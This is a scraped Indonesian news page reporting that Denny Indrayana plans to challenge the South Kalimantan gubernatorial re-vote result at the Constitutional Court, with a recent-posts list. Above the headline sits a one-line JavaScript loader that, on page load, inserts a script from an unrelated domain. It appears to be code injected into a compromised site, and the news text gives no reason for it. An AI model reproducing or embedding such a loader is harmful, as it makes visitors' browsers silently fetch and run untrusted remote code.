(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Besok, Denny Indrayana Layangkan Gugatan PSU Pilgub Kalsel ke MK


KANALKALIMANTAN.COM, JAKARTA– Calon Gubernur Kalimantan Selatan (Kalsel) Denny Indrayana mempertegas tekatnya untuk kembali menggugat hasil pemungutan suara ulang (PSU) Pilgub Kalsel ke Mahkamah Konstitusi (MK). Rencananya, gugatan akan disampaikan besok, Senin (21/6/2021).

“Alhamdulillah, baru selesai rapat untuk persiapan memasukkan permohonan sengketa hasil Pilgub Kalsel ke MK.

Ulun, Dr. Bambang Widjojanto, Dr. Heru Widodo dan tim kuasa hukum sepakat memasukkan permohonan besok Senin di MK,” kata Denny dalam rilis yang disampaikan kepada Kanalkalimantan.com, Minggu (20/6/2021).

Ia menegaskan, pendaftaran gugatan itu bukan karena pihaknya tidak mau mengaku kalah, namun lantaran ingin menegakkan Pilgub Kalsel tanpa kecurangan.

 

“Karena ikhtiar menegakkan Pilgub Kalsel yang luber, jujur, adil, demokratis, tanpa kecurangan, tanpa politik uang, memang amat layak diperjuangkan,” ujarnya.

Baca juga: Merawat Ternak Agar Tak Ngamuk saat Penyembelihan, Ini Syarat Sah Hewan Kurban

Sebelumnya, MK mengabulkan gugatan Denny-Difriadi terkiat kecurangan di Pilgub Kalsel. MK memutuskan untuk dilakukan PSU pada 9 Juni lalu. Setelah dilakukan PSU, rekapitulasi suara yang dilakukan Komisi Pemilihan Umum (KPU) Kalsel menyatakan pasangan Sahbirin Noor dan Muhidin memperoleh total suara sebanyak 871.123 suara.

Sedangkan Denny dan Difriadi memperoleh total suara sebanyak 831.178 suara.
Peluang ini pula yang dimanfaatkan oleh paslon nomor 2 di Pilgub Kalsel, Denny-Difri.

Dalam jumpa pers di kediamannya di Gang Purnama, Banjarbaru, mereka menegaskan akan melawan hingga peluh penghabisan untuk menghormati mandat suara masyarakat Banua.

“Apalagi, kami mencatat beberapa persoalan mendasar yang perlu dikritisi. Masalah ini memang cenderung klise dan berulang. Seperti masalah DPT, politik uang, dan lainnya,” katanya.

“Kami sampaikan, bahwa perjuangan menjaga pemilu yang jurdil masih hadapi tantangan yang tak mudah,” tegasnya.

Dengan mempertimbangkan secara hati hati, Haji Denny mengatakan setelah diskusi dengan partai koalisi, relawan, dan tim hukum, akan mempertimbangkan terus memperjuangkan nasib masyarakat Kalsel yang dititip pada paslon H2D.

Baca juga: Jelang Hari Raya Haji, Segini Harga Sapi dan Kambing Kurban di Banjarbaru

Sementara tim hukum H2D M Rajiv Barokah mengatakan kesiapannya untuk kembali melaporkan sengketa PSU ke MK.

“Tentunya kami akan lebih siap daripada sebelumnya. Ini menegaskan bahwa perjuangan Pilgub Kalsel belum berakhir sebagaimana yang ditetapkan dalam aturan hukum,” tegasnya. (kanalkalimantan.com/dewi)

Reporter: dewi
Editor: cell


Risa

Recent Posts

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

12 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

14 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

14 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

16 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

1 hari ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

2 hari ago

This website uses cookies.